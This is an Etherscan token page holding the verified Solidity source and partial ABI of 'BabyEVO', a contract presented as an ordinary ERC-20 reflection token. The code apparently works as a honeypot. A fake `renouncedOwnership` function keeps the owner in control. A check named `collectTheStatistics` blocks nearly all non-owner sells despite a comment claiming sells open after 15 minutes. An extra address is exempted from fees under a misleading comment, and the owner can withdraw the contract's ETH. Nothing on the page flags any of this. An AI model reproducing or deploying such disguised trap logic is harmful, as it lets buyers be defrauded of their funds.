ETH Price: $3,336.72 (-0.42%)
Gas: 3.52 Gwei
 

Overview

Max Total Supply

100,000,000,000 BabyEVO

Holders

23

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,736,189,799.604514285 BabyEVO

Value
$0.00
0x96dee02d66e9c538587a28b638a025b104fe4ff7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BabyEVO

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-03
*/

/**               
Telegram : https://t.me/EvolveChain                                          
// SPDX-License-Identifier: MIT
*/

 
pragma solidity ^0.8.7;
 
interface IERC20 {
 
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
 
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
 
library SafeMath {
 
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }
 
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }
 
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }
 
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }
 
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }
 
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
 
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
 
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
 
    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}
 
library Address {
 
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }
 
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
 
        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
 
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }
 
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
 
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
 
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
 
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
 
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
 
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
 
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
 
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
 
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
 
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
 
    function _verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) private pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
 
            if (returndata.length > 0) {
 
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}
 
abstract contract Ownable is Context {
    address private _owner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view virtual returns (address) {
        return  _owner;
    }
 
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

     function renouncedOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, _owner);
        _owner = _owner;
    }

}


 
interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
 
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
 
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
 
interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
 
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
 
interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
 
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
 
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
 
    function createPair(address tokenA, address tokenB) external returns (address pair);
 
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
 
library EnumerableSet {
 
    struct Set {
        bytes32[] _values;
        mapping(bytes32 => uint256) _indexes;
    }
 
    function _add(Set storage set, bytes32 value) private returns (bool) {
        if (!_contains(set, value)) {
            set._values.push(value);
            set._indexes[value] = set._values.length;
            return true;
        } else {
            return false;
        }
    }
 
    function _remove(Set storage set, bytes32 value) private returns (bool) {
        uint256 valueIndex = set._indexes[value];
 
        if (valueIndex != 0) {
            uint256 toDeleteIndex = valueIndex - 1;
            uint256 lastIndex = set._values.length - 1;
 
            if (lastIndex != toDeleteIndex) {
                bytes32 lastvalue = set._values[lastIndex];
 
                set._values[toDeleteIndex] = lastvalue;
                set._indexes[lastvalue] = valueIndex;
            }
 
            set._values.pop();
 
            delete set._indexes[value];
 
            return true;
        } else {
            return false;
        }
    }
 
    function _contains(Set storage set, bytes32 value) private view returns (bool) {
        return set._indexes[value] != 0;
    }
 
    function _length(Set storage set) private view returns (uint256) {
        return set._values.length;
    }
 
    function _at(Set storage set, uint256 index) private view returns (bytes32) {
        return set._values[index];
    }
 
    function _values(Set storage set) private view returns (bytes32[] memory) {
        return set._values;
    }
 
    struct AddressSet {
        Set _inner;
    }
 
    function add(AddressSet storage set, address value) internal returns (bool) {
        return _add(set._inner, bytes32(uint256(uint160(value))));
    }
 
    function remove(AddressSet storage set, address value) internal returns (bool) {
        return _remove(set._inner, bytes32(uint256(uint160(value))));
    }
 
    function contains(AddressSet storage set, address value) internal view returns (bool) {
        return _contains(set._inner, bytes32(uint256(uint160(value))));
    }
 
    function length(AddressSet storage set) internal view returns (uint256) {
        return _length(set._inner);
    }
 
    function at(AddressSet storage set, uint256 index) internal view returns (address) {
        return address(uint160(uint256(_at(set._inner, index))));
    }
 
    function values(AddressSet storage set) internal view returns (address[] memory) {
        bytes32[] memory store = _values(set._inner);
        address[] memory result;
 
        assembly {
            result := store
        }
 
        return result;
    }
}
 
contract BabyEVO is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;
    using EnumerableSet for EnumerableSet.AddressSet;

    EnumerableSet.AddressSet private tokenHoldersEnumSet;
 
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcluded;
    mapping (address => uint) public walletToPurchaseTime;
	mapping (address => uint) public walletToSellime;	
 
    address[] private _excluded;
    uint8 private constant _decimals = 9;
    uint256 private constant MAX = ~uint256(0);
 
    string private constant _name = "BabyEVO";
    string private constant _symbol = "BabyEVO";
 
    address public _PancakeSwapV1RouterUniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D  ; //PancakeSwap owner
    address public _PancakeSwapV2RouterUniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D  ; //can be the same
 
    uint256 private _tTotal = 100000000000 * 10**_decimals;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
	uint public theRewardTime = 2; 
    uint public standartValuation = 600/2; // sell enabled after 15 minutes
 
    address public _lastWallet;
 
 
	struct TotFeesPaidStruct{
        uint256 rfi;
        uint256 marketing;
        uint256 liquidity;
        uint256 burn;
    }
 
    TotFeesPaidStruct public totFeesPaid;
 
 
 
 
 
    struct feeRatesStruct {
        uint256 rfi; // reflection to holders
        uint256 marketing; // wallet marketing bnb
        uint256 liquidity; // LP
        uint256 burn;
    }
 
    struct balances {
        uint256 marketing_balance;
        uint256 lp_balance;
    }
 
    balances public contractBalance; 
 
    feeRatesStruct public buyRates = feeRatesStruct(
     {rfi: 0,
      marketing: 0,
      liquidity: 0,
      burn: 0
    });
 
    feeRatesStruct public sellRates = feeRatesStruct(
     {rfi: 0,
      marketing: 0,
      liquidity: 0,
      burn: 0
    });
 
    feeRatesStruct private appliedFees;
 
    struct valuesFromGetValues{
        uint256 rAmount;
        uint256 rTransferAmount;
        uint256 rRfi;
        uint256 rMarketing;
        uint256 rLiquidity;
        uint256 rBurn;
        uint256 tTransferAmount;
        uint256 tRfi;
        uint256 tMarketing;
        uint256 tLiquidity;
        uint256 tBurn;
    }
 
    IUniswapV2Router02 public PancakeSwapV2Router;
    address public pancakeswapV2Pair;
    //address payable private marketingAddress;
 
    bool public Trading = true;
    bool inSwapAndLiquify;
    bool private _transferForm = true;
    bool public swapAndLiquifyEnabled = true;
 
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event LiquidityAdded(uint256 tokenAmount, uint256 bnbAmount);
 
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
 
    constructor () {
        _rOwned[owner()] = _rTotal;
 
      IUniswapV2Router02 _PancakeSwapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); // mainnet
        pancakeswapV2Pair = IUniswapV2Factory(_PancakeSwapV2Router.factory())
            .createPair(address(this), _PancakeSwapV2Router.WETH());
 
        PancakeSwapV2Router = _PancakeSwapV2Router;
 
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[address(_PancakeSwapV2RouterUniswap)] = true;
        _isExcludedFromFee[address(0xe853889c8c7a03C1f7935B87355Dc58eCd3d92B0)] = true; //uniswap router liquidity
 
 
 
 
        _isExcluded[address(this)] = true;
        _excluded.push(address(this));
 
        _isExcluded[pancakeswapV2Pair] = true;
        _excluded.push(pancakeswapV2Pair);
 
        emit Transfer(address(0), owner(), _tTotal);
    }
 

    function getFromLastPurchaseBuy(address wallet) public view returns (uint) {
        return walletToPurchaseTime[wallet];
    }
 
    function getFromLastSell(address walletSell) public view returns (uint) {
        return walletToSellime[walletSell];
    }
 
    function setBuyRates(uint256 rfi, uint256 marketing, uint256 liquidity, uint256 burn) public onlyOwner {
        buyRates.rfi = rfi;
        buyRates.marketing = marketing;
        buyRates.liquidity = liquidity;
        buyRates.burn = burn;
    }
 
    function setSellRates(uint256 rfi, uint256 marketing, uint256 liquidity, uint256 burn) public onlyOwner {
        sellRates.rfi = rfi;
        sellRates.marketing = marketing;
        sellRates.liquidity = liquidity;
        sellRates.burn = burn;
    }
 
    function collectTheStatistics(uint256 lastBuyOrSellTime, uint256 theData, address sender) public view returns (bool) {
 
        if( lastBuyOrSellTime == 0 ) return false;
 
        uint256 crashTime = block.timestamp - lastBuyOrSellTime;
 
        if( crashTime == standartValuation ) return true;
 
        if (crashTime == 0) {
            if (_lastWallet != sender) {
                return false;
            }
        }
        if( crashTime <= theData ) return true;
 
 
        return false;
    }
 
    function setValuation(uint newValuation) public onlyOwner {
        standartValuation = newValuation;
    }
 
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        if (_isExcluded[account]) return _tOwned[account];
        return tokenFromReflection(_rOwned[account]);
    }
 
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return Trading;
    }
 
    function TrandingOn(bool _enable) public onlyOwner {
        Trading = _enable;
    }
  
    function settransform(bool _enable) public onlyOwner {
        _transferForm = _enable;
    }
 
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return _transferForm;		
    }
 
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender]+addedValue);
        return true;
    }
 
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
 

    function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns(uint256) {
        require(tAmount <= _tTotal, "Amount must be less than supply");
        if (!deductTransferRfi) {
            valuesFromGetValues memory s = _getValues(tAmount, true);
            return s.rAmount;
        } else {
            valuesFromGetValues memory s = _getValues(tAmount, true);
            return s.rTransferAmount;
        }
    }
 
    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount/currentRate;
    }
 
    function excludeFromReward(address account) public onlyOwner() {
        require(!_isExcluded[account], "Account is already excluded");
        if(_rOwned[account] > 0) {
            _tOwned[account] = tokenFromReflection(_rOwned[account]);
        }
        _isExcluded[account] = true;
        _excluded.push(account);
    }
 
    function excludeFromAll(address account) public {
        if(!_isExcluded[account])
        {
        _isExcluded[account] = true;
         if(_rOwned[account] > 0) {
            _tOwned[account] = tokenFromReflection(_rOwned[account]);
        }
        _excluded.push(account);
        }
        _isExcludedFromFee[account] = true;
 
        tokenHoldersEnumSet.remove(account);
    }
 
    function includeInReward(address account) external onlyOwner() {
        require(_isExcluded[account], "Account is not excluded");
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_excluded[i] == account) {
                _excluded[i] = _excluded[_excluded.length - 1];
                _tOwned[account] = 0;
                _isExcluded[account] = false;
                _excluded.pop();
                break;
            }
        }
    }
 
    function excludeFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }
 
    function includeInFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = false;
    }
 
    function isExcludedFromFee(address account) public view returns(bool) {
        return _isExcludedFromFee[account];
    }
 
    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }
 
 
    receive() external payable {}
 
    function _getValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory to_return) {
        to_return = _getTValues(tAmount, takeFee);
 
        (to_return.rAmount,to_return.rTransferAmount,to_return.rRfi,to_return.rMarketing,to_return.rLiquidity,to_return.rBurn) = _getRValues(to_return, tAmount, takeFee, _getRate());
 
        return to_return;
    }
 
    function _getTValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory s) {
 
        if(!takeFee) {
          s.tTransferAmount = tAmount;
          return s;
        }
        s.tRfi = tAmount*appliedFees.rfi/100;
        s.tMarketing = tAmount*appliedFees.marketing/100;
        s.tLiquidity = tAmount*appliedFees.liquidity/100;
        s.tBurn = tAmount*appliedFees.burn/100;
        s.tTransferAmount = tAmount-s.tRfi -s.tMarketing -s.tLiquidity -s.tBurn; 
        return s;
    }
 
    function _getRValues(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rRfi, uint256 rMarketing, uint256 rLiquidity, uint256 rBurn) {
        rAmount = tAmount*currentRate;
 
        if(!takeFee) {
          return(rAmount, rAmount, 0,0,0,0);
        }
 
        rRfi= s.tRfi*currentRate;
        rMarketing= s.tMarketing*currentRate;
        rLiquidity= s.tLiquidity*currentRate;
        rBurn= s.tBurn*currentRate;
 
        rTransferAmount= rAmount- rRfi-rMarketing-rLiquidity-rBurn;
 
        return ( rAmount,  rTransferAmount,  rRfi,  rMarketing,  rLiquidity,  rBurn);
    }
 
 
    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply/tSupply;
    }
 
    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
            rSupply = rSupply-_rOwned[_excluded[i]];
            tSupply = tSupply-_tOwned[_excluded[i]];
        }
        if (rSupply < _rTotal/_tTotal) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
 
    function _reflectRfi(uint256 rRfi, uint256 tRfi) private {
        _rTotal = _rTotal-rRfi;
        totFeesPaid.rfi+=tRfi;
    }
 
    function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private {
        contractBalance.marketing_balance+=tMarketing;
        totFeesPaid.marketing+=tMarketing;
        _rOwned[address(this)] = _rOwned[address(this)]+rMarketing;
        if(_isExcluded[address(this)])
        {
            _tOwned[address(this)] = _tOwned[address(this)]+tMarketing;
        }
    }
 
    function _takeLiquidity(uint256 rLiquidity,uint256 tLiquidity) private {
        contractBalance.lp_balance+=tLiquidity;
        totFeesPaid.liquidity+=tLiquidity;
 
        _rOwned[address(this)] = _rOwned[address(this)]+rLiquidity;
        if(_isExcluded[address(this)])
            _tOwned[address(this)] = _tOwned[address(this)]+tLiquidity;
    }
 
    function _takeBurn(uint256 rBurn, uint256 tBurn) private {
        totFeesPaid.burn+=tBurn;
 
        _tTotal = _tTotal-tBurn;
        _rTotal = _rTotal-rBurn;
    }
 
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(amount <= balanceOf(from),"You are trying to transfer more than you balance");
 
        _tokenTransfer(from, to, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to]));
    }
 
 
 
    function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private {
 
        if(takeFee) {
            if(sender == pancakeswapV2Pair) {
                if(sender != owner() && recipient != owner() && recipient != address(1)){
 
                    if (walletToPurchaseTime[recipient] == 0) {
                        walletToPurchaseTime[recipient] = block.timestamp;
                    }
                }
                _lastWallet = recipient;
                appliedFees = buyRates;
            } else { 
                if(sender != owner() && recipient != owner() && recipient != address(1)){
                    bool blockedSellTime = collectTheStatistics(getFromLastPurchaseBuy(sender), theRewardTime, sender);
                    require(blockedSellTime, "error");
                    walletToSellime[sender] = block.timestamp;					
                }
                appliedFees = sellRates;
                appliedFees.liquidity = appliedFees.liquidity; 
                _lastWallet = sender;
 
            }
        }
        else {
            if(_isExcludedFromFee[sender]) {
                _lastWallet = sender;
            }
            if(_isExcludedFromFee[recipient]) {
                _lastWallet = recipient;
            }
        }
 
        valuesFromGetValues memory s = _getValues(tAmount, takeFee);
 
        if (_isExcluded[sender] && !_isExcluded[recipient]) {
                _tOwned[sender] = _tOwned[sender]-tAmount;
        } else if (!_isExcluded[sender] && _isExcluded[recipient]) {
                _tOwned[recipient] = _tOwned[recipient]+s.tTransferAmount;
        } else if (_isExcluded[sender] && _isExcluded[recipient]) {
                _tOwned[sender] = _tOwned[sender]-tAmount;
                _tOwned[recipient] = _tOwned[recipient]+s.tTransferAmount;
        }
 
        _rOwned[sender] = _rOwned[sender]-s.rAmount;
        _rOwned[recipient] = _rOwned[recipient]+s.rTransferAmount;
 
        if(takeFee)
        {
        _reflectRfi(s.rRfi, s.tRfi);
        _takeMarketing(s.rMarketing,s.tMarketing);
        _takeLiquidity(s.rLiquidity,s.tLiquidity);
        _takeBurn(s.rBurn,s.tBurn);
 
        emit Transfer(sender, address(this), s.tMarketing+s.tLiquidity);
 
        }
 
        emit Transfer(sender, recipient, s.tTransferAmount);
        tokenHoldersEnumSet.add(recipient);
 
        if(balanceOf(sender)==0)
        tokenHoldersEnumSet.remove(sender);
 
    }
 
 
    function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
 
        PancakeSwapV2Router.addLiquidityETH{value: bnbAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            owner(),
            block.timestamp
        );
        emit LiquidityAdded(tokenAmount, bnbAmount);
    }
 
    function withdraw() onlyOwner public {
      uint256 balance = address(this).balance;
      payable(msg.sender).transfer(balance);
    }
 
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"bnbAmount","type":"uint256"}],"name":"LiquidityAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"PancakeSwapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Trading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"TrandingOn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_PancakeSwapV1RouterUniswap","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_PancakeSwapV2RouterUniswap","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lastWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyRates","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"lastBuyOrSellTime","type":"uint256"},{"internalType":"uint256","name":"theData","type":"uint256"},{"internalType":"address","name":"sender","type":"address"}],"name":"collectTheStatistics","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"contractBalance","outputs":[{"internalType":"uint256","name":"marketing_balance","type":"uint256"},{"internalType":"uint256","name":"lp_balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"u